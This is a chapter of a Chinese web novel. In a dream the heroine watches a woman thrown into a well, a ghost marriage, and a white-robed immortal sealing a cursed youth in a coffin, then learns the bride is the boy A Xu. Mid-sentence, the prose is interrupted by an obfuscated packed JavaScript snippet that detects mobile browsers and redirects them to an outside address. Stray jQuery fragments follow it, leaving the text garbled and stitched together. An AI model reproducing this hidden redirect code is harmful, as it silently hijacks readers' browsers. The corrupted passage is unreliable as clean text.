44. 井中望月觅幻影(4)

作品:《当天然呆碰上偏执狂

    她将那镯子反复在手腕间转了又转,简直是爱不释手。抚摸镯子的时候,她总是不可避免地想起许行的脸。


    想起他的手指搭在皮肤上的温热,想起他好看的笑容。


    这种无法控制自己思想的感觉让她有些恐慌,紧接着,是更深的好奇。


    一种和以前完全不同的,自发的,对许行的好奇。


    夜色渐渐深了,李照月也慢慢感觉到困意,小心地把镯子滑回手腕根部,盖上被子,闭上了眼睛。


    又是那个梦。


    破旧古怪的宅子里,红灯笼随风飘动,她站在空无一人的走廊中,望向回廊的尽头。


    那里似乎有火光。


    她往前走去。


    “你们会遭报应的,你们会遭报应的!”是女人撕心裂肺的吼叫。


    走廊的转角处突然拐出一大群穿着丧服的仆人来,他们拖着一个满身是血的中年妇人,往院子里走去。


    李照月正好和他们打了个对面,却被他们穿过了身体。


    也就是说,这次她只是这段梦境中的一道幻影。


    院子里有一口枯井,那群人把中年妇人摔到井边。领头的那个仆从满脸横肉,皮笑肉不笑道:“老爷和夫人能看上你们,是你们的福气。”


    中年女人虽然满身血污,发丝凌乱,但她神情坚毅,朝着那仆从吐了一口口水,恨恨道:“你们这一群腌臜玩意,能把黑的说成白的,明明是你们抢了我儿,却要说成给我的福气。这福气给你你要不要?”


    仆从被激怒了,啪的一声甩了她一巴掌,怒声道:“敬酒不吃吃罚酒!既然你一心求死,我就发回善心,成全你!”


    说完,对着身后那群人使了个眼色。那群大壮汉一拥而上,抬起女人便往枯井里扔。女人双手扒紧了井的边缘,破口大骂道:“你们这群丧尽天良的东西,我死后也会化作恶鬼,永生永世纠缠于你,吃你的肉,喝你的血,扒你的皮。我等着,我等着你们死的那一天,我等着!”


    最后一句话随着女人坠落的动作,在幽深的井壁中撞出层层回响,女人凄厉的惨叫不停回荡着,冲击着在场所有人的耳膜。有人害怕地往后退,那领头的仆从白他一眼,粗声道:“鬼族都是传说而已,怕什么,更何况我们府中有仙人在,这上不得排面的恶鬼休想伤到我们。”


    说完,又吩咐几个人找来石头,彻底将枯井封了起来。


    做完这一切,这群人又匆匆离去。


    只剩李照月望着那口已经被封住的枯井,久久不能平静。


    如果她没有看错的话,女人在被投入井前,往她所在的方向看了一眼。明明所有人应该看不见她的,但是女人的眼神,就好像她站在那里。


    她的眼神里含着绝望的悲伤,还有一丝不易察觉的怨恨。


    她到底在怨恨我什么?


    李照月感觉自己好像被抽空了,没有愤怒,没有害怕,也没有悲伤。她好像脱离于所有人和事,作为一个观察者,冷静地审视着一切。


    她突然变成了一个自己都不认识的,无比冷漠的人。


    李照月害怕这种感觉,于是匆匆收回视线,跟着那群人离开的方向而去。


    这场梦已经做的够久了,她有一种强烈的预感,跟上去,能看见这段梦境的结局。


    是上次来过的房间,不过这次的门是敞开的。


    到处都是红绸,红烛。喜字被剪成红纸,杂乱无章地贴在窗户,柱子,门上。这看起来可不像正常的婚礼。


    李照月扫过院子里寥寥无几的人,还有那放在房间正中间的棺材,瞪大了眼睛。


    这是冥婚。


    意识到这个事实,李照月再度扫视四周,发现刚才看见的人影,有大半,都是纸扎的。


    庭院里很暗,蜡烛被红色的纱布蒙住,透出暗红色的光,打在那纸人惨白的脸上,瘆人得紧。


    忽然,房间里的灯火一晃,一个新娘服饰的人被绑着拖出来。红色盖头遮住了她的脸,只有袖口露出的手能证明她是人,而非纸人。


    她很不情愿,但手脚俱被绑了个结实,根本无力反抗。


    紧接着,新娘身后,一个浑身是血的男子被人押着拖出来。


    他面色发青,眼神阴翳,吐掉口中的肉末,阴森森地望向前方,意味不明地说道:“只是找了个所谓的仙人就想封印我?未免太异想天开!”


    “儿啊,不是娘想这么做,实在是……”身后传来女人的哭声,李照月转头望去,发现了一张熟悉的面孔。


    是上次在梦中见过的,那个贵妇人。


    等等,她脑海中灵光一闪,顿时回忆起了那被投入枯井的女人的模样,和现在这位夫人的长相几乎没有差别。


    而这两人……


    她突然想起之前梦到的,救了自己的那位妇人。


    这三个人,几乎是一模一样!


    她尚在震惊中,那妇人身后,走出一个人来。


    竟然和她长得一模一样!


    她一袭白衣,面色冷漠地望着房间外站着的两人,挥了挥手。


    “仙人,真的没有别的办法了吗?我和我家老爷就这一个孩子啊。”妇人哭喊着,泪眼朦胧地望着那人。


    “魔种降世,世间大患,就算今日我不将他除去,也会有别人来的。”


    “可是……可是您明明说,可以把魔种剔除的,您说过的!”妇人情绪激动,已经要去拉她的衣袖。


    女子眼里闪过一丝嫌恶,快速躲开,与此同时,一个衣着华贵,大腹便便的中年男人走了过来,扶起瘫倒在地的妇人,对着女子轻声道:“开始吧。”


    “老爷!”妇人不可置信地望向他。


    男人移开视线,重重地叹了一口气:“此事关乎到天下苍生,只能如此。”


    “可他是我们唯一的儿子啊!”妇人嘶吼着。


    “是啊,爹爹,你真的要听信这妖道的话,将我活生生封入棺材里,眼睁睁看着我死吗?”少年眼眶里盈满了泪水,眼神清澈,好像那唇边沾染的血迹只是意外,不是他吃人的证明。


    闻言,那被绑住的新娘也开始剧烈地挣扎。


    “爹,你真得要看着我孤独地死去吗?我才十六,我不想死。”少年已经开始失声痛哭。


    “老爷!”


    除了妇人和少年的哭喊,周围一片死寂。无论他们怎么哀求,那中年男人始终无动于衷。


    “爹当然怕你孤独,所以给你选了个伴儿,你们就好好的,一起去往极乐世界吧。”他满是怜惜地望着自家儿子,轻声道。


    那新娘听了这话,挣扎更加剧烈,旁边的几个大汉险些按不住他。


    “开始吧。”他又是一声叹息。


    白衣女子轻颔首


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781251|167186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,手往腰后一晃,一串铃铛随之出现。庭院里响起阵阵清脆的铃铛响。这声音在旁人听起来只是普通的声音,但对于魔种,这是致命的。


    少年开始发狂,无法忍耐的痛苦在头脑炸开,他挣脱了周围人的束缚,开始到处撕咬。那站在他身旁的新娘被他拉着,就要丧命于他嘴下。


    铃铛声轻响,一道黄符落下,白衣女子瞬间出现,从少年手中抢走了新娘。一个转身,伸出手,将黄符稳稳贴在少年眉心,同时铃铛轻晃,在他面中使劲一拍,生生把人拍晕过去。


    女子牵着新娘在空中翻了个身,一脚把少年揣进了早就准备好的棺材里。


    “当心。”她扶住新娘站稳,轻声道。


    新娘受了很严重的惊吓,站稳都成了问题,女子取下腰间的木偶,扔给新娘。


    “它可护你周全,你只站在原地即可。”


    说完,她施展轻功,在空中翻了个身,落在棺材旁边,左右手合力一抬,生生将棺材盖合住,永远将少年狰狞的面容盖住了。


    随后,她咬破手指,在棺材全身绘下繁复的咒文,做完这一切,她将手中铃铛一收,对着中年男人抱拳。


    “一切已经完成,将他埋入缠和断组成的阵法中,守护百年,即可消解灾祸。”


    “百年后,我会再来一次,届时会再加固一次封印。”女子淡淡地看了男人和妇人一眼,忽略妇人怨毒的目光,沉声道。


    “多谢仙人为我族除去祸害,楼某感激不尽,若仙人有什么想要的,尽管提。”男人恭敬道。


    妇人在一旁不停地哭。


    女子摇摇头,刚想说不用,那新娘的盖头突然落了下来。


    红色的盖头下,是一张熟悉的脸。


    阿序目光阴翳,长长的睫毛上还沾着泪珠。


    女子冷淡的面容顿时破裂,随后,极快捞起地上的盖头,重新盖了回去。速度快到其余人都没反应过来。


    “这新娘,是怎么来的?”她像是想到了什么可怕的事,语气突然森冷下来。


    “这……您难道认识?”男人见情形不对,试探道。


    女子闭上眼,与此同时,李照月感觉到一股深度的恐慌从心底袭来。那是她的情感,可自己却感知到了。


    “告诉我,他是怎么来的。”话到这里,她的脸上已经布满怒意。楼老爷不敢模糊,磕磕绊绊地把事情原委都说了。


    只知道这男孩名叫阿序,一月前跟着母亲来到楼府。他母亲是楼老爷夫人的孪生姐姐,从前一直住在深山的小村子里,前些日子山里闹妖怪,他二人所住村庄被毁,无奈之下投靠妹妹,却没想到,阿序的出生年日正好对上楼家阵法所需。


    于是……


    剩下的事情他没说,但女子瞬间就明白了。


    阿序的眼睛里再无初见时的天真活泼,只有无限的怨恨。


    “你走之前,给过我们玉佩,说有事即可呼唤。我娘为了救我,守着这块无用的玉佩,忍受着旁人的殴打,足足撑了两个时辰。”他眼眶通红,泪珠大颗大颗落下,最后都被他狠狠擦掉。


    “可你没有来,不仅没有来,还是造成如今这一切的凶手!”


    微暗的烛火跳跃在他眼底,嫁衣血红,让他看起来犹如脆弱的纸人,下一刻就要在火光中燃尽。


    李照月感觉自己和那白衣女子融为了一体。